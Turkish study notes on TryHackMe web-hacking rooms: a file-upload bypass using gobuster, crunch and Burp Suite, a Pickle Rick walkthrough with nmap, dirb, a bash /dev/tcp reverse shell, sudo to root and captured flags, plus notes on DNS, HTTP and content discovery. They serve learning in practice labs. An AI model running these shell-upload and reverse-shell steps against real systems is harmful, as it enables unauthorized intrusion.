- şimdi deneyelim
- evet dosyayı yükleyebildim
- şimdi dizin taraması yapalım:
/admin (Status: 200) [Size: 1238]
/Admin (Status: 200) [Size: 1238]
/ADMIN (Status: 200) [Size: 1238]
/assets (Status: 301) [Size: 179] [--> /assets/]
/content (Status: 301) [Size: 181] [--> /content/]
/Content (Status: 301) [Size: 181] [--> /Content/]
/modules (Status: 301) [Size: 181] [--> /modules/]
- toplamda dört dizin bulduk
- bizde ek olarak dizin tespitini web sayfası üzerinde resim olan yerlerde yapabilirz
- arka planda javascritp olduğunda herhabgi birdizin tespiti yapamadık (ctrl+u)
- şimdide bu javascript dosyasına bakmak için sağ tıklayıp inpect tarfına da bakmamız gerek
- inspector kısmında body , class="backround" tıkladığınızda bir pencere açılır
- burada /content dizininde bir resim dosya olduğunu görüyoruz
- diğerlerine de bakalım:
/content/ABH.jpg
/content/LKQ.jpg
/content/SAD.jpg
/content/UAD.jpg
- buna göre bizde kendi ayarladığımız shell dosyamızı yeniden adlandıralım: mv shell.jpg AAA.jpg
- ve web sitesine gönderelim
- burada göze ilk çarpan ise herpsi buyuk harf ve üç karakterkli jpg dosyaları olduğu
- bu kasıt olark da yapılmış olabilir veya sisteme yüklenen jpg lerin üç karakterli farklı dosya isimlendirmesi de yapılıyor olabilir
- biz bu yol üzerinden gideceğiz yani:
- sisteme upload edilen şey:
- üç karakterli isim
- jpg uzantılı
- buyuk harf
- ve buna yönelil bir wordlis oluşturacağız
- bu /content dizinine doğrudan gitmek istediğimizde sayfaya doğrudan erişim yok
- ama şöyle olursa: http://jewel.uploadvulns.thm/content/UAD.jpg
- ozaman ulaşabiliyoruz
- şimdi yapacağımız şey:
- üç karakterli buyuk harflerden oluşan bir liste yapmak ve gobuster ile tespit yapmak
- bunun için: bunun için crunch aracımız var
- eğer yüklü değilse sudo apt install crunch ile yükleyin
- daha sonra: crunch 3 3 -f /usr/share/crunch/charset.lst ualpha -o wordlists.txt
- başlangıç ve bitişi üç karakter ile sınırladık
- -f ile charakter listesinin yolunu gösterdik(bu yolu locate charset.lst ile de bulabilirsiniz)
- ualpha ile sadece büyük harfler olsun dedik
- -o ile de çıktının kaydedileceği yeri gösterdik dosya olamasa o kendi oluşturur bu dosyayı
- kodu çalıştırdığınızda şu sonucu alırsınız:
Crunch will now generate the following amount of data: 70304 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 17576
crunch: 100% completed generating output
- mousepad veya cat ile dosyanızı oluyun
- bu komu ile toplam satır miktarını görebilirsiniz: cat -n wordlists.txt | tail -n 1
- total 17576 satır
- şimdi bu listeyi kullanarak gonuster ile /content dizininde arama yapacağız
gobuster dir --url http://jewel.uploadvulns.thm/content/ --method GET --threads 50 --wordlist wordlists.txt --useragent "Mozilla/5.0" --extensions .jpg --timeout 10s
/ABH.jpg (Status: 200) [Size: 705442]
/LKQ.jpg (Status: 200) [Size: 444808]
/SAD.jpg (Status: 200) [Size: 247159]
/UAD.jpg (Status: 200) [Size: 342033]
/WJV.jpg (Status: 200) [Size: 384]
- daha önce ilk dört dosyayı web sitesinden edindik
- son dosya ise bizi AAA.jpg olarak yüklediğimiz dos ve isimi değişmiş
- kendi dosyanızı kontrol edebilirisin: http://jewel.uploadvulns.thm/content/WJV.jpg
- eğer bu dosyamızı çalıştırma gibi bir şey bulursak ters bağlantı yapabilirz
- ve tabiki araştırmaya devam.
- web sitesinden dizin taramalarımızda /admin diye bir dizin var
- buna bakalım, bize: "Bir hatırlatma olarak: /modules dizininden modülleri etkinleştirmek için bu formu kullanın."
- yani /modules dizininde ki dosyaları çalıştırmak için kullanılan bir sayfa olduğunu anlıyoruz
- ve /content il /modules dizini aynı dizinde
- kendi scprit yani shell dosyamızı burada çalıştırmayı deneyebiliriz nasıl:
- biz modules dizini içerisindeyiz : ../content/WJV.jpg deneyelim
- olamadı :)
- sanırım resim olarak değerlendirdiği için çalıştırmadı
- bunun için hemen burp suite gidelim
- daha sonra yeniden shell dosyamızı gönderelim ve prox ile yakalayalım
- burada bizim dosyamızın base64 hali var
- base64, den sonrasını virgül hariç sonrasını bir sonraki tırnağa kadar alıp sağ tuş send to decoder e gönderin
- sırasıyla decode=> base64 sonra sonra da text i seçin burada daha önce eklediğimiz resim verisini silin
- daha sonra encode base64 seçin ve bu değeri kopyalayın
- proxy i ye gelin ve eski bas64 ü koyaladığınız kısmını silin ve yenisini yapıştırın
- forward diyerek yönlendirin
- ve success ifadesini gördünüz
- şimdi dosyamızı bulmamız için yine gonuster kullanalım:
gobuster dir --url http://jewel.uploadvulns.thm/content/ --method GET --threads 50 --wordlist wordlists.txt --useragent "Mozilla/5.0" --extensions .jpg --timeout 10s (eğer hata alırsan threads düşürürsün 30 -40 arası iyidir bilmediğin değer varsa pass geç yada araştır)
size düşük olanlar bizim dosyalarımız
veya boyutunuda kendiniz de bakarak doğrulayabilirsiniz
benim kisi 384byte 4 karakter sildim 380byte düştü mesela
/ABH.jpg (Status: 200) [Size: 705442]
/BCI.jpg (Status: 200) [Size: 384]
/GWA.jpg (Status: 200) [Size: 380] en son burp suite ile değişerek giden dosyamız
/LKQ.jpg (Status: 200) [Size: 444808]
/SAD.jpg (Status: 200) [Size: 247159]
/UAD.jpg (Status: 200) [Size: 342033]
/WJV.jpg (Status: 200) [Siz
- şimdi tekrar deneyelim: ../content/GWA.jpg
- evet bağlantıyı aldık :D
- şimdi sorumuzu yanıtlayalım: /var/www dizini altındaki bayrak nedir? : THM{NzRlYTUwNTIzODMwMWZhMzBiY2JlZWU2}
- bir görevi daha bitirdik :D
23.Study: ' Pickle Rick
- bu kısımda bir web uygulamasından sunucuya sızma konusunu ele alacağız
- elimizde sadec bir ip adresi var ve bugibi durumlarda nmap aracını kullanırız ki çalışan servis ve açık port ları görmek için
- nmap -sV 10.10.127.43 ile port tarama işlemini yapabiliriz
- sonuç:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- hedefimizin aktif olduğunu ve 22(ssh),80(http) portlarının/servislerinin çalıştığını öğrendik
- 80 port üzerinden devam edersek bunun bir web uygulaması olduğunu anlamış olduk
- browser da ilgili adrese gidelim: http://10.10.127.43:80
- şimdide keşif adımdarından web site keşif ve genel incelemesi yapalım
- bu sayfanın kaynak kodu ile başlayalım: ctrl+u
- bu kaynak kodlarında web geliştiricilerinin kendileri için bırakmış olduğu ip ucları vb. şeyleri unutumuş olabileceğinden buralara bakmak çok önem arz eder
- burada gelişricinin kendisine bir not bıraktığını görüyoruz: username: R1ckRul3s
- şuan için bizim gördüğümüz tek bir sayfa var ama link verilmemiş sayfalar da olabilir
- bunun için dirb aracını kullanacağız. normalde link verlilmemiş diğer bağlantılı sayfaları bulmak için kullanılan bir araç
dirb http://10.10.127.43/
bu araç normal web sitesindeki bağımsız olarak kendisi şu adresteki //usr/share/dirb/wordlists/common.txt wordlis i kullanarak arama yapmaya çalışıyor
yani bir şekilde sunucuya eklenmiş sayfaları bulmayı amaçlıyoruz
sonuç:
==> DIRECTORY: http://10.10.127.43/assets/
+ http://10.10.127.43/index.html (CODE:200|SIZE:1062)
+ http://10.10.127.43/robots.txt (CODE:200|SIZE:17)
+ http://10.10.127.43/server-status (CODE:403|SIZE:277)
veya:
gobuster dir --url http://10.10.42.217 --method GET --threads 50 --wordlist /usr/share/dirb/wordlists/common.txt --useragent "Mozilla/5.0" --timeout 10s
veya
gobuster dir --url http://10.10.42.217 --method GET --threads 50 --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --useragent "Mozilla/5.0" --timeout 10s
- şimdi bu bulgular neticesinde her bir linki incelememiz gerekiyor
- /robots dizinin de anlam veremediğimiz bir sonuç var : Wubbalubbadubdub
- web sayfalarında elde edilen her bir bilginin kullanım yeri mutlaka vardır ve gereksiz veya anlamsız birşey yoktur yani illaki bir anahtar kilit uyumu bunur
- yeri geldiğin bize anlamsız gelen ifadenin bir karşılığı olduğunu düşünerek eleme yöntemini deneme yanılma ile yaparız
- bura bulduğumuz bilgiyi parola olarak değerlendireceğiz şuan için ve elimizde zate bir kullanıcı adı mevcut
- bir de yönetim paneline ihtiyacımız var
- dirb arcına -X ekleyerek .php ile web uygulamasının programlandığı dili uzantı olarak verirsek burada gerçekleştirmiş olduğu aramaları php uzantısı ile arayacak
dirb http://10.10.127.43/ -X .php veya dirb http://10.10.42.217/ -a "Mozilla/5.0" -X .php -S
veya
gobuster dir --url http://10.10.42.217 --method GET --threads 50 --wordlist /usr/share/dirb/wordlists/common.txt --extensions .php --useragent "Mozilla/5.0" --timeout 10s
veya
gobuster dir --url http://10.10.42.217 --method GET --threads 50 --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --extensions .php --useragent "Mozilla/5.0" --timeout 10s
veya
bu dosyayı kullanalım daha iyi ve hızlı: usr/share/dirb/wordlists/common.txt
- dirb aracı eğer -z 10000 = 10saniye eğer dirb i sınırlamazsanız gerçek tarama da engel yiyebilirsiniz çünkü dirb mümkün olan en hızlı şekilde tarama yapar
- ben bu kısımda gobuster i daha çok beğeniyorum :)
- işmdi çıktımıza bakalım:
- yine bize üç sayfa buldu
dirb arcımız ile:
+ http://10.10.42.217/denied.php (CODE:302|SIZE:0)
+ http://10.10.42.217/login.php (CODE:200|SIZE:882)
+ http://10.10.42.217/portal.php (CODE:302|SIZE:0)
- 302 code lu sayfaların login.php sayfasına geçiçi yönlendirmesi var sanırım bakalım
- evet loing.php
- girelim ve elimizde bilgileri hatırlayalım:
- kullanıcı adı için: R1ckRul3s
- ve parolo olarak düşündüğümüz: Wubbalubbadubdub
- bakın bu bilgiler bizi: http://10.10.42.217/portal.php dizinine ışınladır :) neymiş web de sağda solda kıyıda köşede bulunan her bir kırıntı değerlidir !!!!!!!
- yönetim panelinde sade bir komut paneli görüyoruz
- biz parolayı tutturduk ama olmasaydı farklı wordlist ler kullanarak bunu bulmaya çalışacaktık
- en temel olark ls komutu yazınca:
Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt
- bu dosyları görğyoruz
- pwd komutu ile şuan: /var/www/html dizinin de olduğumuzu görüyoruz
- her komut çalışmayabilir. örn: cat Sup3rS3cretPickl3Ingred.txt yaptığımızda
- cat komutunu kullanamıyoruz yani bu komuta erişim engeli getirmişler
- şimdi bu komut satırında sunucu ya erişmeye çalışacağız
- yani bu komut penceresi ile kendi kali aracımız arasında bağlantı kurmayı deneyelim
- terminali açın
- bu web sitesinde çalıştırılan her komut web sunucusunda çalıştırılıyor
- dolayısıyla bizde bu yolla kendi makinemize bağlantı alabiliriz
- ve yetki yükselterek daha fazla komut çalıştırma şansımız var
- terminalimizde nc -nlvp 9090 portunu dinlemeye alalım
- şimdi yapacağımız işlem hem elinizin altında hemde aklınızda bulunması gereken bir komut
web sitesinde komut paneline geçelim
bash -c 'bash -i >& /dev/tcp/<openvpn ile bağlandığımız kendi ip adresimizi yazalım>/dinlemeye aldığımız port
bash -c 'bash -i >& /dev/tcp/10.9.2.12/9090 0>& 1'
bu komut hedef web sitesinin komut satırı erişimini bizim kali ye gönderecek olan komut satırıdır
şimdi yazıp enter dedikten sonra kendi kalimizde terminale bağlantı gelmiş olacak
yetkimizi kontrol edelim: whoami
www-data
bu adımdan sonra ilk olarak yetki yükseltmesine geçilmesi gerekiyor bunun için de
sudo -l ile yetki sahibi olanları listeleyelim
User www-data may run the following commands on ip-10-10-42-217:
(ALL) NOPASSWD: ALL
yani tüm kullanıcıların parolasız bir şekilde tüm yetkiye sahip oldukalarını görüyoruz
sudo bash dedikten sonra whoami yazın
artık root yetkisine sahibiz
ve artık sistemin tamamında gezebilir inceleme yapabilir veya değiştirip silebiliriz
şimdi sorulara gelelim:
Rick'in ihtiyacı olan ilk malzeme nedir?
ilk olarak şu dosyadan başlayalım: Sup3rS3cretPickl3Ingred.txt
cat Sup3rS3cretPickl3Ingred.txt => mr. meeseek hair
bulduk.
Rick'in iksirindeki ikinci malzeme nedir?
ilk olarak cat clue.txt => diğer dosya sistemlerine bakmamızı söylüyor
o halde kök dizine çıkalım öncelikle: cd /
ls ile listeleyelim
/home dizinine girip bakalım: cd /home
ls -l
rick
ubuntu
cd rick
ls -l
-rwxrwxrwx 1 root root 13 Feb 10 2019 second ingredients
bu bir dosya (-rwxrwxrwx en baştaki tire dosya demek) ama lap diye açamayız yöntemiz var:
y1: cat "second ingredients" => 1 jerry tear
y2: cat second\ ingredients => 1 jerry tear
bulduk
Son ve son madde nedir?
bir de root dizinine bakalım
cd /root
ls -l
-rw-r--r-- 1 root root 29 Feb 10 2019 3rd.txt
drwxr-xr-x 4 root root 4096 Jul 11 10:53 snap
cat 3rd.txt => fleeb juice
bulduk
- 'What is DNS?;(DNS nedir?)
- DNS, web sayfalarına ulaşırken, dosyaların bulunduğu bilgisayarın IP adresinin yerine
benzersiz olarak belirlenmiş isimlerin kullanılmasını sağlayan sistemdir. Eğer bu sistem
olmasaydı şuan:
- Google.com a gidebilmek için: www.google.com yerine ==> 172.217.169.110 adresini
yazarak gitmemiz gerekcekti.
- 'Kısaca isimi IP ye çözümleyen sistemdir.
- 'Domain Hierarchy;(Etki alanı)
- TLD (Top-Level Domain): Kendi içerisinde ikiye ayrılır;
- gTLD (Generic Top Level):
- Genel üst seviye: .com .edu .gov .mil gibi url sonunda varsa bu ==> 'gTLD'
- ccTLD (Country Code Top Level Domain):
- Ülke kodu üst seviye etki alanı: .uk .tr .ca gibi ülke koduda varsa ==> 'ccTLD'.
- Second-Level Domain: İkinci düzey etki alanıdır. Burada dikkat edilmesi gereken;
- 63 karakter kullanılabilir.
- a-Z,-,0-9 kullanılabilir.
- Subdomain: Alt alan adı. Bu ad, second-level domain in solında yer alır. Noktalar ile bu ad çoğaltılabilir.
Ve bir sınırlaması yoktur.
- Ard arda tire kullanılamaz.
- 253 karater uzunluğuda olabir.(mininmum 63 karakter)
- a-Z,-,0-9 değerlerini alabilir.
- Tire ile başlayıp bitemez.
- Subdomain sayısında bir sınırlama yoktur.
- Örnek:
- admin.server.tryhackme.com.tr için açıklama;
- tr: ccTLD.
- com: gTLD.
- tryhackme: Second-Level Domain.
- admin.server: Subdomain.
- 'DNS Record Types;(DNS Kayıt Türleri)
- A Record: Domain-Name leri IPv4 adresine çözümler: 102.54.1.123, 32/8 her bit 8 ve 4 octet.
- AAAA Record: Domain-Name leri IPv6 adresine çözümler.
- HexDecimaldir: 2606:4700:20::681a:be5, 128/16 her bir bit 16 ve 8 oktet.
- CNAME Record:
- Bir bilgisayarın, bir veya daha fazla host adı tarafından bilinmesini sağlar.
- Öncelikli olarak bir A kaydı mutlaka olmalıdır.
- Bu resmi bir isim olmalı.
- örn: isimkayit.com A 111.111.111.111 CNAME i kullanarak,
diğer host adlarını bir resmi (A record) adrese yönlendirebiliriz.
- 'Kısaca isimi isime çözümler.
- MX Record:
- Diğer adıyla 'Mail Exchanger Record', olan adınıza ait mail adreslerinin çalıştığı
mail sunucularını adresleyen bir DNS kaydıdır.
- MX Record mevcut DNS sunucunuz üzerine yazılır ve yine bu DNS sunucusundan cevap alır
- 'Yani mail alış-verişini yapan server ın kaydını tutar.
- TXT Record:
- TXT kayıtları tarihsel sıraya göre okuyabilen server, network, data center ve diğer
hesap bilgileri hakkında bilgi içerir.
- Özellikle spam dan korunmak için maill hesabinin doğruluğunun kanıtlanması için
unique(benzersiz) kod barındırır.
- 'Making A Request;(Talepte Bulunma)
- Dns işleminde beş adım vardır. Bunlar;
1. İstek yapılan bilgisayarın ön belleği kontrol edilir.
2. Eğer yoksa bu adres ön bellekte yoksa recorsive DNS server devreye girer.
- Bu, internet servis sağlayıcılarının hazırladığı DNS server ı dır.
- Kayıt burada mevcutsa bu radaki adresten web page e yönlendirilir.
3. Eğer burada da yoksa Root Dns Sever devreye girer.
- TLD ye bakarak ilgili sunucuya yönledirir.
4. Son olarak ilgili web page e yönlendirilir.
5. TTL ayarlanarak ön belleğe kaydı yapılır.
- Eğer TTL zamanı aşılmış ise bu adımlar tekrarlanır.
2.Study:'HTTP(s)
- 'What is HTTP(s):(HTTP(S) nedir?)
- HTTP: Tim Berners-Lee ve eki tarafından 1989-1991 yıllarında geliştirilmiştir.
- Web sayfası verilerinin iletilmesi için web sunucularıyla iletişim kurmak için kullanılan kurallar kümesidir.
- HTTPs: SSL sertifikasının eklenmesiyle verilerin şifrelenerek güvenli haberleşmeyi sağlamak için oluşturulmuştur.
- Bu bağlamda SSL veya TLS kullanılır.
- 'Requests And Responses:(istekler ve yanıtlar)
- 'What is a URL? (Uniform Resource Locator)
- http:// user:password @ tryhackme.com : 80 /view-room ?id=1 #task3
scheme user host/domain port path Q.str fragment
- scheme: Kulanılan protokol.
- user: kullanıcı bilgisi(bazı hizmetler için kimlik doğrulama)
- host/domain: domain veya IP adresi
- port: kullılacak port (0-65535, ilk 1024 iyi bilinendir.)
- path: dizin yolu/dosya ismi
- Query String: kaynak yol/dosya ile ilgili ek bilgi
- Fragment: gerçek sayfada bulunan değere referans verilebilir
- Bir web sitesine istekte bulunduğumuzda böyle olur.
- 'NOT: her istek tüm özellikleri kullanmaz.
- 'HTTP Methods:(http metodları)
- Get Request: Açık bir şekilde ilgili web server a istek göndermek ve sunucudan bilgi almak.
- Post Request: Gizli olarak ilgili web server a istek göndermek ve yeni kayıt oluşturmak.
- Put Request: Yeni bir veri ekleme/güncelleme istediği göndermek. (varsa günceller yoksa oluşturur.)
- Delete Request: Silme işlemi için istek göndermek.
- 'HTTP Status Codes:(http durum kodları)
- HTTP Status Codes: HTTP Durum kodları
- 100-199 bilgi yanıtı:
- ilk bölüm kabul edildi. isteğinin geri kalanını göndermeye devam et(artık pek yaygın değil.)
- 200-299 başarılı:
- istek başarılı.
- 300-399 yönlendirme:
- kabul edilen isteğin, istenilen sayfaya yönlendirilmesi
- 400-499 istemci hatası:
- istemcinin isteğinde hata olma durumu
- 500-599 sunucu hatası:
- sunucu tarafında gerçekleşen ve isteğin işlenememesi durumu
- Common HTTP Status Codes:HTTP Ortak durum kodları
- 200 - OK (onay)
- 201 - Created (oluşturuldu)
- 301 - Move Permanently(kalıcı yönlendirme)
- 302 - Found(geçici yönlendirme)
- 400 - Bad Requset(kötü istek)
- 401 - Not Authorised(Sadece yetkili erişim{oturum açma})
- 403 - Forbidden(giriş izni yok)
- 405 - Method Not Allowed(istek yöntem reddi{örn:post istenir get yollarsın})
- 404 - Page Not Found(sayfa bulunamadı{istenilen sayfa sunucuda mevcut değil})
- 500 - Internal Service Error(Dahili service hatası)
- 503 - Service Unavailable(sunucuya ulaşılamıyor)
- 'Headers:(başlıklar)
- istekte bulunurken sunucuya gönderilen paketin üst ek bilgi bitleridir.
- Bir web sitesini en iyi şekilde görüntülemek için kullanılan ek verilerdir.
- Bunlar;
- 'Common Request Headers:(ortak istek başlığı)
- host: bu başlık ile istenilen web sitesine gidiş yapılabilir. Aksi halde varsayılan sayfa gösterilir.
- user-agent: İnterneti kullanan kişiler ile web içerikleri arasında köprü vazifesi gören tarayıcı anahtarı.
- burada kullanılan web tarayıcı yazılım ve süürm bilgisi alınarak işlem yapılır.
- contenth-length: beklenen içerik uzunluğu ile ilgili sunucuya bilgi verilir.
- accept-encoding: tarayıcının hangi tür sıkışrıma kullandığı belirtilir.
- cookie: daha sonraki bir istekte bulunulduğunda yardımcı olası için bilgiler belli bir süre önbellekte saklanır(TTL zaman)
- 'Common Response Headers:(ortak yanıt başlığı)
- set-cookie: her talepte sunucuda saklanmak üzere suncuyu gönderilen bilgiler.
- cach-control: bir sonraki talebe kadar yanıt içeriğinin tarayıcı önbelleğinde saklanma süresinin kotrolü.
- content-type: istekte bulunan client e ne tür bir içerik yanıtı alacağını söyler.
- content-encoding: sıkıştırmada kullanılan method hakkında bilgi verir.
- 'Cookies:(Çerezler)
- çerezler birçok amaç için kullanılabilir.
- en yaygın olarak web sitesi kimlik doğrulaması için kullanılır.
- istemci taradından sunucudan istenen web sayfasının bilgileri
daha sonra kullanılmak üzere(TTL zaman içeriinde) tarayıcı önbelleğinde saklamnır.
- bunun içinde set-cookie kullanılır.
3.Study:'How Websites Work(web siteleri nasıl çalışır?)
- 'web isteleri:
- client internette bir istekte bulunur.
- internete giden istek ilgili sunucuya ulaşır.
- bu sunucu istek doğrultusunda olumlu/olumsuz olarak bir durum kodu belirler.
- daha sonra client e bu istek doğrultusunda bir yanıt döner.
- 'JavaScritp:
- web sitelerinin etkileşim hale gelmesi saağlayan web programlama dilidir.
-'Hasas verilerie erişme yöntemlerinden biri:
- Html i yazan kişi geliştirme aşamsında yorum satırları ile bir admin kullanıc hesabını web sayfasını kaynak kodunda
yorum satırları arasında unutmuş olabilir.
- veya kullanıcı web sayfasında kendi şifresini arkaplan rengi ile aynı olarak şifresini yazmış olabilir.
- veya 1x1 lik bir boyutlarda kod içerisinde barındırmış olabilir.
- ve bu örnekler çoğaltılabilir.
4.Study:
- 'Load balacer: yük dengeleyiciler, internet üzerindeki yükü dengelemek için kullanılır.
- bunlar hem yazılım hemde donanım tabanlı olabilir.
- Round-Robin: zaman paylaşımlı sistemlerde kullanılmak içi tasarlanmış 'çizelgeleme algoritması'dır.
- weighted: sunucuları kontrol ederek en az yoğun olana istemcileri yönlendirir.(işlemci-performans kontrol)
- healh-check: belli aralıklarda sunucu kontrol işlemi.
- 'CDN:(içerik dağıtma ağları{content delivery network})
- web istesindeki ağ yoğunluğunu azaltmak için kullanılır.
- static verileri dünyanın herbir yerindeki sunucularda barıdırır.(video javascript, photo ..)
- bir client den bir istek geldiğinde en yakın sunucudan gönderilir.
- Ve bu sayede web sitesinin hızı dahada artmış olur.
- 'DataBase:
- Web siteleri çoğu zaman kullanıcıları için bir depoloama alanı olarak veritabanlarını kullanır.
- basit işlemlerden çokdaha komplex işlemlere kadar birçok işlemi gerçekleştirebilirler.
- bazıları: MongoDB MsSql MySql Postgres .. Bunları herbirini kendine has özellikleri olduğunu unutmayın.
- 'WAF(Web Application Firewall{web uygulaması güvenlik duvarı})
- 'İstemci ile sunucu arasındaki veri transferini korumayı amaçlar:
- WAF, istemci ve sunucu arasında gerçekleşen veri trafiğini izleyerek ve analiz ederek bu trafiği güvence altına alır.
- Bu sayede, veri transferi sırasında olası saldırılara karşı koruma sağlar.
- 'Sunucuyu olası tehditlere karşı korur:
- WAF, sunucuya yönelik çeşitli tehditleri (örneğin, SQL enjeksiyonları, XSS saldırıları) tespit eder ve engeller.
- Ayrıca, belirli bir IP adresinden gelen saldırılarda, bu IP adresini engelleyerek sunucuyu koruyabilir.
- 'WEB sunucuları nasıl çalışır:
- Web sunucusu gelen bağlantıları dinler.
- ardından web içeriğini istemcilere iletmek için HTTP protokolünü kullanan bir yazılımdır.
- 'virtual Host: Sanal hostlar:
- web sunucuları farlı alanadlarına sahip bir çok web sitesini barındırabilir.
- web sunucuları http başlıklarına bakarak hangi web sitesine istek geldiyse o dizine yönlendirme yapar.
- bu konuda herhangi bir kısıtlama yoktur.
- yüzlerce web sitesi bir bilgisayarda sanal hostlar sayesinde barındırılabilir.
- 'Static içerikler:
- Değişmeyen medya, CSS gibi dosylardır.
- 'Dinamik içerikler:
- Değişebilen duruma göre farklı sonuçlar ortayaçıkar.
- bir web sitesine atılan istekten görüntülenmeye kadar yolculuğu ele alalm.
- browser a gitmek istenilem domain adı yazılır
- ilk olarak pc önbellek kontrol edilir (gitmek istenilne yerin IP adresi lazım)
- burada bu bilgi varsa DNS aşamaları atlanmış olur hızlı yükleme yapılır.
- yoksa ==>
- internet servis sağlayıcının vermiş olduğu DNS server gidilir.
- burda da yoksa ==>
- root dns server ına gidilir.
- burda TLD den ==>
- Authoritative dns server ına yönlendirilir.
- ilgili domain name in bulunduğu serverlara ulaşılır.
- burad IP adresi öğrenilir.
- web sitesinin güüvenlik duvarında yapılan istek kontrol edilir.(web sitesinin bu özelliği varsa)
- eğer varsa load bacers a gidilerek burda ilgili sunucuya yönlendirme yapılıyor
- artık web sunucusu ile iletişim kurulur
- ve bu sunucuya bir istek atılır.
- sonrasında veri tabanı iletişim kurulur ver sonuçlar beklenir.
- en sonunda da browser da n web sitesi görüntülernir.
5.Study:
- 'brwoser araçları ile web sitesi inceleme
- 'Browser ile inceleme:
- view source: kaynak görüntüleme ile web sitesinin okunabilir kodlarını inceleyeceğiz.
- inspector: sayfa öğereli incelenerek engellenen içeriklere nasıl müdehale edelebileceğine bakacağız.
- debugger: sayfanın javascript akışı incelenecek.
- network: sayfanın yaptığı tüm ağ isteklerine bakacağız.
- 'Web site genel inceleme:
- webs sayfasında bağlantı verilmiş tüm linkler incelenir.
- örnek olarak: başlıklar: sayfa başlığı | sayfa link yapısı | içerik hakkında açıkla gibi bu çoğaltılabilir
- tüm site bağlantılar üzerinde gezinerek içeride ne var bilgisi, içeriği ne , sayfa yasğı, uzantısı gibi bilgiler alınır.
- tryhackme:
- bize html kodundaki bayrağı sordu bize bize verilen link gitti ve en üstte yorum satırında
'/new-home-beta' uzatısı alıp mevcut url de yazdık ve : 'THM{HTML_COMMENTS_ARE_DANGEROUS}
- şimdi de bize gizli bağlantıdaki bayrağı soruyor. Aslında home sayfasında da yer alıyor ve bir bağlantı verilmiş.
fakat gizlnemiş. biz bunu ctrl+u ile syafa kaynağına gidince görebiliyoruz. '/secret-page' uzantılı gizlib ifade var.
ve home içerisinde 'to' içerisine eklenmiş. mouse ile üzerine gidildiğinde görünüyor.: 'THM{NOT_A_SECRET_ANYMORE}
- bir sonraki soru ise dizin listeleme bayrağını soruyor. Dizin listesini barıdıran bir üst dizin arıyoruz. Burada
karşımıza sayfa kaynağına baktığımızda '/assests' çıkıyor. Buraya gidince de 'flag.txt' dosyasını görüyoruz burada.
içerisinde: 'THM{INVALID_DIRECTORY_PERMISSIONS}
- bize çerçeve deki bayrağı soruyor. Bizde home da sayfa kaynağına giderek eğer hazır bir script kullanıldıysa burada
işimize yara bir bilginin olması ihtimaline karşılık bakıyuruz.
en altta bir yorum satırınca versiyon bilgis ve hem ardından bir uzantı buluyoruz:
'Page Generated in 0.04768 Seconds using the THM Framework v1.2 ( https://static-labs.tryhackme.cloud/sites/thm-web-framework )'
buraya gidelim.
bizi bir '/tmp.zip' adlı bir dosya indirmemizi söylüyor. yani burada dolaşırken bunu bulduk ve içerisinde:'THM{KEEP_YOUR_SOFTWARE_UPDATED}
hadi deneyelim.
- Şimdide geliştirici araçlar olan:| inspector | debugger | network | lerde neler bulabilceklerimize bakalım
- inspector: Denetçi
- burada bize 'paywall' daki bayrağı soruyor. bu rası '/news/article?id=3' kısımda yer alıyor.
şimdi inspector ile bakalım.
burada sayfa kaynağında : class="premium-customer-blocker" bu ifade yer alıyor yani üye olmadan göremiyoruz.
bizde class="none" ile değiştirerek içeriği görüntülemeye çalışalım.
ve:'THM{NOT_SO_HIDDEN}
- şimdide diğer bir araç olan 'Debugger' yani hata ayıklayıcı ile neler yapabiliriz. Buna bakalım:
- bize sayfa yüklenirken çıkan kırmızı bir kutu içerisindeki bayrağı soruyor. fakat bu kutu hem gelip gidiyor.
bunu için debug ederek burayı kontrol ederlim. bu kısım: /contact sayfasına girince çıkıyor.
debugger==> flash.min.js ==> ve 'flash['remove']();' bu satırda ekrana bir mesaj flashlayıp kayboluyor. burada bir braakpoit ekleyerek görelim:
'THM{CATCH_ME_IF_YOU_CAN}
- şimdi de network kısmında neler yapabileceğimize bakalım:
contact-msg da iletişim için ağ mesaj bayrağını soruyor. /contact
burada ilgi alanları doldurarak send message dediğimizde bir 200 durum kodu olarak contact-msg alıyoruz.
üzerine ikikez tıkladığımızda ise: 'THM{GOT_AJAX_FLAG}
6.Study:'İçerik keşfi
- direkt olarak bağlantı verilmemiş içeriklerdirbunlar. Bu keşf yaparkende bu üç yöntemi kullanacağız:
- Manually: Manuel yöntem
- Automated: Otomatik yöntem
- OSINT: açık kaynak kod yöntemi
- Manually yöntemleri:
- Robots.txt:
- web sitelerinin ana dizinde yer alır
- arama motoru sonuçlarında hangi sayfaların gösterilmesine izin verilip verilmediğinin belirlendiği bir dosyadır.
- bu dosya içeriği analiz edilerek özel sayfa linkleri elde edilebilir.
- soruda bize hangi sayfaya izin verilmediğini soruyor:
- 'Disallow: /staff-portal ==> /staff-portal
- bu dosya içeriğide bize bir mesaj var:
- you found the robots.txt endpoint ==> robots.txt uç noktasını buldunuz
- favicon:
- bir web sitesinde adres çubuğunda o websiteyi tanımlayan özel bir simgedir.
- eğer varsayılan icon özel olarak değiştirilmemişse hangi hazır site scriptinin kullanıldığını bize gösterir.
- daha önce elde edilmiş bir iconların bir listesinin barındırıldığı web sitesi: 'https://wiki.owasp.org/index.php/OWASP_favicon_database'
- bize bir favicon iconunun linki bırakılmış: 'https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico'
- curl komutu ile veri tabanında bulunan md5 hashlerini karşılaştıracağız:
- curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum
- 'f276b19aabcb4ae8cda4d22625c6735f' hash imizi aldık şimdi veri tabanında karşılaştırma yaparak hangi çerçeve olduğuna bakalım:
- cgiirc (0.5.9) çerçeve ve sürüm notlarına ulaşmış olduk.
- sitemap.xml:
- robots.txt nin aksine çalışılır. ve burada ulaşılabilir tüm dizinler yer alır.
- hatta daha önce den kullanılmış ama artık kullanılmaya veya arama motorlarında gösterilmeyen dosya/diiznleri de burda bulabiliriz.
- bize /sitemap.xml dosyasının içerisinde gizli alanı bulmamızı istiyor.
- şöyle bir yol bulduk '/s3cr3t-area' bakalım. ve evet bukduk.
